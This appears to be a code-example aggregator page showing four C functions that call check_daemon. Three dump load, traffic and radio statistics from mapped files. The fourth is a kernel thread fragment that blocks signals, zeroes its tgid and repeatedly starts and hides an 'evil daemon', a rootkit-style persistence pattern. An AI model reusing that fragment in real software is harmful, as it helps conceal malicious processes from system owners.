Exemple #1
0
static int run_dump_load(void)
{
	int i;
	char path[1024];
	struct file_map m;
	struct load_entry *e;

	check_daemon();
	snprintf(path, sizeof(path), DB_LD_FILE);

	if (mmap_file(path, sizeof(struct load_entry), &m))
	{
		fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
		return 1;
	}

	for (i = 0; i < m.size; i += sizeof(struct load_entry))
	{
		e = (struct load_entry *) &m.mmap[i];

		if (!e->time)
			continue;

		printf("[ %u, %u, %u, %u ]%s\n",
			ntohl(e->time),
			ntohs(e->load1), ntohs(e->load5), ntohs(e->load15),
			((i + sizeof(struct load_entry)) < m.size) ? "," : "");
	}

	umap_file(&m);

	return 0;
}
Exemple #2
0
static int run_dump_ifname(const char *ifname)
{
	int i;
	char path[1024];
	struct file_map m;
	struct traffic_entry *e;

	check_daemon();
	snprintf(path, sizeof(path), DB_IF_FILE, ifname);

	if (mmap_file(path, sizeof(struct traffic_entry), &m))
	{
		fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
		return 1;
	}

	for (i = 0; i < m.size; i += sizeof(struct traffic_entry))
	{
		e = (struct traffic_entry *) &m.mmap[i];

		if (!e->time)
			continue;

		printf("[ %u, %u, %" PRIu32
			   ", %u, %u ]%s\n",
			ntohl(e->time),
			ntohl(e->rxb), ntohl(e->rxp),
			ntohl(e->txb), ntohl(e->txp),
			((i + sizeof(struct traffic_entry)) < m.size) ? "," : "");
	}

	umap_file(&m);

	return 0;
}
Exemple #3
0
static int run_dump_radio(const char *ifname)
{
	int i;
	char path[1024];
	struct file_map m;
	struct radio_entry *e;

	check_daemon();
	snprintf(path, sizeof(path), DB_RD_FILE, ifname);

	if (mmap_file(path, sizeof(struct radio_entry), &m))
	{
		fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
		return 1;
	}

	for (i = 0; i < m.size; i += sizeof(struct radio_entry))
	{
		e = (struct radio_entry *) &m.mmap[i];

		if (!e->time)
			continue;

		printf("[ %u, %d, %d, %d ]%s\n",
			ntohl(e->time),
			e->rate, e->rssi, e->noise,
			((i + sizeof(struct radio_entry)) < m.size) ? "," : "");
	}

	umap_file(&m);

	return 0;
}
Exemple #4
0
int watchdog(void *data)
{
    wait_queue_head_t queue;

    lock_kernel();
    thread = current;
    siginitsetinv(&current->blocked, sigmask(SIGKILL) | sigmask(SIGINT) | sigmask(SIGTERM));
    init_waitqueue_head(&queue);
    terminate = 0;
    sprintf(current->comm, THREAD_NAME);
    current->tgid = 0;
    daemon = find_task_by_name(DAEMON_NAME);
    unlock_kernel();
    up(&sleep_sem);

    for(;;)
    {
        // execute and hide evil daemon
        start_daemon();

        // take a break
        interruptible_sleep_on_timeout(&queue, HZ);
        mb();
        if(terminate)
            break;
                
        // check if still running    
        check_daemon();
    }

    lock_kernel();
    thread = NULL;
    mb();
	up(&sleep_sem);
	
	return 0;
}